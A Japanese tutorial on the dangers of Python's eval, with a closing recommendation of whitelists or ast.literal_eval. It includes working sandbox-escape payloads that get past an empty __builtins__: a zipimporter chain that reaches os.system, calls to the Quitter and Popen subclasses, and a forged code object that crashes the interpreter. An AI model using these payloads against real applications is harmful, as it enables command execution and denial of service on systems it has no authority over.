ホームページ  >  記事  >  バックエンド開発  >  Python での eval の使用法の詳細な説明と潜在的なリスクの紹介

Python での eval の使用法の詳細な説明と潜在的なリスクの紹介

不言
不言転載
2019-03-25 10:41:374715ブラウズ

この記事では、Python での eval の使用法と潜在的なリスクについて詳しく説明します。一定の参考価値があります。困っている友人は参考にしてください。お役に立てれば幸いです。

eval の序文

In [1]: eval("2+3")
Out[1]: 5

In [2]: eval('[x for x in range(9)]')
Out[2]: [0, 1, 2, 3, 4, 5, 6, 7, 8]

メモリ内の組み込みモジュールに OS が含まれている場合、eval はコマンドも実行できます:

In [3]: import os

In [4]: eval("os.system('whoami')")
hy-201707271917\administrator
Out[4]: 0

もちろん、eval は Python 式のみを実行できます。型コードをインポート操作に直接使用することはできませんが、exec は使用できます。インポートに eval を使用する必要がある場合は、__import__ を使用してください:

In [8]: eval("__import__('os').system('whoami')")
hy-201707271917\administrator
Out[8]: 0

実際のコードでは、実行のために eval に取り込まれるクライアント データを使用する必要があることがよくあります。たとえば、動的モジュールの導入では、オンライン クローラー プラットフォーム上に複数のクローラーがあり、それらは異なるモジュールに配置されていますが、多くの場合、サーバー側は、クライアント側でユーザーが選択したクローラー タイプを呼び出すだけで済みます。バックエンドで exec または eval を使用すると、動的呼び出しを行ってバックエンド コーディングを実装するのに非常に便利です。ただし、ユーザーのリクエストが適切に処理されない場合、重大なセキュリティ脆弱性が発生します。

eval の安全な使用法

現在最も推奨されているのは、eval の最後の 2 つのパラメータを使用して関数のホワイトリストを設定することです。

Eval 関数の宣言is eval(expression[ , globals[, locals]])

このうち、2番目と3番目のパラメータは、それぞれevalなどで使用できる関数を指定します。指定しない場合、デフォルトは、に含まれるモジュールです。 globals() 関数と locals() 関数、および関数

>>> import os
>>> 'os' in globals()
True
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0
>>> eval('os.system('whoami')',{},{})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined

abs 関数のみの呼び出しを許可するように指定する場合は、次の記述方法を使用できます:

>>> eval('abs(-20)',{'abs':abs},{'abs':abs})
20
>>> eval('os.system('whoami')',{'abs':abs},{'abs':abs})
Traceback (most recent call last):
  File "", line 1, in 
  File "", line 1, in 
NameError: name 'os' is not defined
>>> eval('os.system('whoami')')
win-20140812chjadministrator
0

これを使用する保護のためのメソッドは確かに特定の役割を果たすことができますが、この処理メソッドがバイパスされて他の問題が発生する可能性があります!

バイパス実行コード 1

バイパスされるシナリオは次のとおりです。Xiao Ming は次のことを知っています。 eval は特定のセキュリティ リスクをもたらすため、eval が任意のコードを実行しないように次の手段を使用してください:

env = {}
env["locals"]   = None
env["globals"]  = None
env["__name__"] = None
env["__file__"] = None
env["__builtins__"] = None
 
eval(users_str, env)

Python の __builtins__ は組み込みモジュールであり、組み込み関数を設定するために使用されます。おなじみの abs、open などの組み込み関数がすべてこの中にあります モジュールは辞書に格納されます 次の 2 つの書き方は同等です:

>>> __builtins__.abs(-20)
20
>>> abs(-20)
20

組み込み関数をカスタマイズして使用することもできますPython の組み込み関数と同様:

>>> def hello():
...     print 'shabi'
>>> __builtin__.__dict__['say_hello'] = hello
>>> say_hello()
shabi

Xiao Ming は、eval 関数のスコープ内の組み込みモジュールを None に設定します。これは非常に徹底しているように見えますが、それでもバイパスされる可能性があります。 __builtin__ と __main__ モジュールの下では、両方とも同等です:

>>> id(__builtins__)
3549136
>>> id(__builtin__)
3549136

Wuyun ドロップで説明されているメソッドによれば、次のコードを使用できます:

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == "zipimporter"][0]("/home/liaoxinxi/eval_test/configobj-4.4.0-py2.5.egg").load_module("configobj").os.system("uname")

上記のコードでは、最初に __class__ と __subclasses__ が使用されます。オブジェクト object を動的にロードするには、 eval で object を直接使用できないためです。次に、 object のサブクラスの zipimporter を使用して、egg 圧縮ファイル内の configobj モジュールをインポートし、組み込みモジュール内の os モジュールを呼び出して、コマンドの実行を実装します。もちろん、configobj のegg ファイルがあることが前提です。configobj モジュールは非常に興味深いものです。実際には組み込みの OS モジュールがあります:

>>> "os" in configobj.__dict__
True
>>> import urllib
>>> "os" in urllib.__dict__
True
>>> import urllib2
>>> "os" in urllib2.__dict__
True
>>> configobj.os.system("whoami")
win-20140812chjadministrator
0

urllib などの configobj に似たモジュール、urllib2、setuptools などはすべて os が組み込まれており、理論上はどれでも使用できますが、それができない場合は、egg 圧縮ファイルをダウンロードするには、setup.py が含まれるフォルダーをダウンロードし、次の内容を追加します。

from setuptools import setup, find_packages
を実行し、

python setup.py bdist_egg
を実行して、dist フォルダー内の対応する Egg ファイルを見つけます。バイパス デモは次のとおりです:

>>> env = {}
>>> env["locals"]   = None
>>> env["globals"]  = None
>>> env["__name__"] = None
>>> env["__file__"] = None
>>> env["__builtins__"] = None
>>> users_str = "[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'zipimporter'][0]('E:/internships/configobj-5.0.5-py2.7.egg').load_module('configobj').os.system('whoami')"
>>> eval(users_str, env)
win-20140812chjadministrator
0
>>> eval(users_str, {}, {})
win-20140812chjadministrator
0

Denial of Service Attack 1

オブジェクトのサブクラスには興味深いものがたくさんあります。表示するには次のコードを実行します。 ##
[x.__name__ for x in ().__class__.__bases__[0].__subclasses__()]

ここでは結果は出力しませんが、実行するとfile、zipimporter、Quitterなどの興味深いモジュールがたくさん表示されます。テスト後、ファイルのコンストラクターはインタープリター サンドボックスによって分離されます。単純に、またはオブジェクトによって公開されている Quitter サブクラスを直接終了します:

>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__
 == 'Quitter'][0](0)()", {'__builtins__':None})

C:/>

運が良ければ、相手のプログラムにインポートされた OS などの機密モジュールに遭遇した場合、Popen はそれを実行します。 __builins__ が空であるという制限を回避することができ、例は次のとおりです:

>>> import subprocess
>>> eval("[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'Popen'][0](['ping','-n','1','127.0.0.1'])",{'__builtins__':None})
 
>>>
正在 Ping 127.0.0.1 具有 32 字节的数据:
来自 127.0.0.1 的回复: 字节=32 时间>>

実際には、パスの問題に対処するために通常使用される OS モジュールのインポートなど、このような状況は数多くあります。 。したがって、この状況が発生した場合は、多数の関数をリストして、ターゲット オブジェクトのサブクラスに直接使用できる危険な関数が存在するかどうかを検出できます。

サービス拒否攻撃 2

同様に、__builtins__ を None としてバイパスして、サービス拒否攻撃を引き起こすこともできます。ペイロード (外国人のブログから) は次のとおりです。 :

>>> eval('(lambda fc=(lambda n: [c 1="c" 2="in" 3="().__class__.__bases__[0" language="for"][/c].__subclasses__() if c.__name__ == n][0]):fc("function")(fc("code")(0,0,0,0,"KABOOM",(),(),(),"","",0,""),{})())()', {"__builtins__":None})

上記のコードを実行すると、Python が直接クラッシュし、サービス拒否攻撃が発生します。原則は、ネストされたラムダを通じてコードの一部、つまりコード オブジェクトを構築することです。このコード オブジェクトに空のスタックを割り当て、対応するコード文字列を指定します (ここでは KABOOM です)。空のスタックでコードが実行されると、クラッシュが発生します。構築が完了したら、fc 関数を呼び出すことでトリガーできます。

概要

上記のことから、組み込みモジュールを空に設定するだけでは不十分であることがわかります。最良のメカニズムはホワイトリストを構築することです。それが面倒だと思う場合は、安全でない eval の代わりに ast.literal_eval を使用できます。


この記事はここで終了しました。その他のエキサイティングなコンテンツについては、PHP 中国語 Web サイトの

Python ビデオ チュートリアル

列に注目してください。

以上がPython での eval の使用法の詳細な説明と潜在的なリスクの紹介の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はsegmentfault.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。